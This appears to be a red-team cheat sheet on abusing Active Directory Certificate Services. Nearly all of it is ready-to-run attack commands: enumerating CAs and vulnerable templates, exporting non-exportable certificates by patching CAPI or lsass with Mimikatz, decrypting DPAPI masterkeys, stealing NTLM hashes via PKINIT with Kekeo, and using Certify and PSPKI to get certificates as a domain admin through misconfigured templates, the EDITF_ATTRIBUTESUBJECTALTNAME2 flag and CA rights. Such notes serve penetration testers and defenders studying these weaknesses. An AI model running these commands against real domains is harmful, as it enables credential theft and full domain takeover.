AD CS Abuse
AD CS : Active Directory Certificate Services
CA : Certification Authority
EKU : Extended Key Usage
SAN : Subject Alternative Name (subjectAltName)
CSR : Certificate Signing Request
CES : Certificate Enrollment Web Service
CAPI : CryptoAPI
CNG : Cryptography API: Next Generation
EKU OIDs that can enable certificate authentication:
Client Authentication
1.3.6.1.5.5.7.3.2
PKINIT Client Authentication
1.3.6.1.5.2.3.4
Smart Card Logon
1.3.6.1.4.1.311.20.2.2
Any Purpose EKU
2.5.29.37.0
Subordinate CA certificate
No EKU set
Enumerate AD CS
Enumerate AD Enterprise CAs and their settings with LDAP:
$CAs = Get-ADObject -LDAPFilter '(objectCategory=pKIEnrollmentService)' -SearchBase "CN=Configuration,DC=tinycorp,DC=net"
$CAs
Get list of template names:
$CATemplateNames = Get-ADObject $CAs[0].DistinguishedName -Properties certificatetemplates | Select-Object -ExpandProperty certificatetemplates
$CATemplateNames
Or
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=megacorp,DC=local' --attrs dn,dnshostname
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(distinguishedName=CN=CA01,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=megacorp,DC=local)' --base 'CN=Configuration,DC=megacorp,DC=local' --attrs certificateTemplates
Enumerate AD Enterprise CAs with certutil from a domain-joined machine:
Cmd > certutil.exe -config - -ping
Cmd > certutil.exe -TCAInfo [-v]
Hunt for Certificates
Export Certificates
Export a certificate from user's context.
With certmgr:
Run β
certmgr.msc
β Action β All Tasks β Export ...
With PowerShell:
Export-PfxCertificate -Password (Read-Host -AsSecureString -Prompt 'Password') -Cert (Get-Item -Path Cert:\LocalMachine\My\<CERT_THUMBPRINT>) -FilePath cert.pfx -Verbose
With CertStealer:
Cmd > .\CertStealer.exe -export pfx <CERT_THUMBPRINT>
If the private key is non-exportable, use Mimikatz's crypto::capi
(to patch CAPI in current process) or crypto::cng
(to patch lsass.exe
memory):
Cmd > .\mimikatz.exe "crypto::capi" "crypto::certificates /export" "exit"
DPAPI User Keys
Decrypt a domain user's masterkey with domain's backup key with Mimikatz:
Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /rpc" "exit"
Decrypt masterkey if user's plaintext password is known with Mimikatz:
Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /sid:<ACCOUNT_SID> /password:Passw0rd!" "exit"
Simplify the process with SharpDPAPI providing it a file with one or more {GUID}:SHA1
masterkey mappings (will output a .pem
file):
Cmd > .\SharpDPAPI.exe certificates /mkfile:C:\Temp\mkeys.txt
DPAPI Machine Keys
It's not possible to decrypt machine keys using the domain's DPAPI backup key, so the adversary can use the DPAPI_SYSTEM
LSA secret on the system which is accessible only by the SYSTEM user:
# While elevated
Cmd > .\SharpDPAPI.exe certificates /machine
After converting the output to .pfx
and if the appropriate EKU scenario is present, the adversary can use that .pfx
for domain authentication as the computer account (see PERSIST2).
Search for Certificate Files
Find certificate files lying around with Seatbelt:
Cmd > .\Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false"
Cmd > .\Seatbelt.exe InterestingFiles
Some other certificate-related file extensions:
.key
The private key.
.crt
/.cer
The certificate.
.csr
Signing request file. Does not contain certificates or keys.
.jks
/.keystore
/.keys
Java Keystore. May contain certificates + private keys used by Java apps.
List EKUs for a certificate with PowerShell:
PS > $CertPath = "C:\Users\snovvcrash\cert.pfx"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
PS > $Cert.EnhancedKeyUsageList
Parse .pfx
with certutil:
Cmd > certutil.exe -dump -v cert.pfx
Correlate a certificate with a CA thumbprint on the host and in AD:
# Get cert's thumbprint
PS > $CertPath = "C:\Users\snovvcrash\cert.p12"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
PS > $Cert.Thumbprint
# Match it with CA certs' thumbprints trusted by the current host
Cmd > .\Seatbelt.exe -q CertificateThumbprints
# Match it with CA certs' thumbprints from AD
Cmd > .\Certify.exe find /quiet
Steal NTLM via PKINIT
Request NTLM hash when the account is authenticated with a TGT through PKINIT with Kekeo:
Cmd > .\kekeo.exe "tgt::pac /caname:CA01 /domain:megacorp.local /subject:snovvcrash /castore:current_user" "exit"
Domain Escalation via Certificates
Discover vulnerable templates:
Cmd > .\Certify.exe find /vulnerable
Modifiable SAN + Smart Card Logon or Client Authentication or PKINIT Client Authentication EKUs
Condition: the vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Smart Card Logon (1.3.6.1.4.1.311.20.2.2
) or Client Authentication (1.3.6.1.5.5.7.3.2
) or PKINIT Client Authentication (1.3.6.1.5.2.3.4
) EKUs.
Find template with this misconfiguration:
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
Request a certificate specifying the /altname
as a domain admin:
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:VulnTemplate /altname:DomAdmin
Modifiable SAN + Any Purpose EKU
Condition: the vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Any Purpose EKU (2.5.29.37.0
).
Find template with this misconfiguration:
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
Request a certificate specifying the /altname
as a domain admin like in ESC1.
Agent Certificate + Enroll on Behalf of Another User
Conditions:
A template allows a low-privileged user to use an enrollment agent certificate.
Another template allows a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication.
1. Request an enrollment agent certificate:
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:Vuln-EnrollAgentTemplate
2. Request a certificate on behalf of another to a template that allow for domain authentication:
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User /onbehalfon:MEGACORP\ITAdmin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd!
Vulnerable Certificate Template ACEs
Owner
Implicit full control of the object, can edit any properties.
FullControl
Full control of the object, can edit any properties.
WriteOwner
Can modify the owner to an adversary-controlled principal.
WriteDacl
Can modify access control to grant an adversary FullControl
.
WriteProperty
Can edit any properties.
EDITF_ATTRIBUTESUBJECTALTNAME2
EDITF_ATTRIBUTESUBJECTALTNAME2
If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
This means that an adversary can enroll in any template configured for domain authentication that also allows unprivileged users to enroll (e.g., the default User
template) and obtain a certificate that allows to authenticate as a domain admin or any other active user/machine.
Discover with certutil:
Cmd > certutil.exe -config "CA01.megacorp.local\CA01" -getreg "policy\EditFlags"
Or
Cmd > reg.exe query \\CA01.megacorp.local\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA01\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
Discover with Certify:
Cmd > .\Certify.exe find
To abuse request a certificate specifying an /altname
with any template that allows for domain auth (e.g., the default User
template which normally doesn't allow to specify alternative names):
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User /altname:DomAdmin
This setting can be set with domain admin's privileges like this (dangerous, do not do this!):
Cmd > certutil.exe -config "CA01.megacorp.local\CA01" -setreg "policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2
Remove this setting:
Cmd > certutil.exe -config "CA01.megacorp.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
Vulnerable CA ACEs
Enumarate CA ACEs with Powershell PSPKI:
PS > Install-Module -Name PSPKI
PS > Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-CertificationAuthorityAcl | select -ExpandProperty access
ManageCA
and ManageCertificates
rights translate to the "CA Administrator" and "Certificate Manager" ("CA Officer") respectively.
The "CA Administrator" role allows to set the EDITF_ATTRIBUTESUBJECTALTNAME2
flag (see ESC6):
# Check before setting the flag
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CA01" -getreg "policy\EditFlags"
β
# Invoke SetConfigEntry
PS > "$(hostname) : $(whoami)"
WS01 : megacorp\CertAdmin
PSPKI > $configReader = New-Object SysadminsLV.PKI.Dcom.Implementation.CertSrvRegManagerD "CA01.megacorp.local"
PSPKI > $configReader.SetRootNode($true)
PSPKI > $configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
1114446
PSPKI > $configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
β
# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CA01" -getreg "policy\EditFlags"
The "Certificate Manager" role allows to remotely approve pending certificate requests which can by used by an adversary to subvert the "CA certificate manager approval" protection:
# Request a certificate that requires manager approval with Certify
PS > .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:ApprovalNeeded
...
[*] Request ID : 1337
β
# Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest
β
# Download the issued certificate with Certify
PS > .\Certify.exe download /ca:CA01.megacorp.local\CA01 /id:1337
Last updated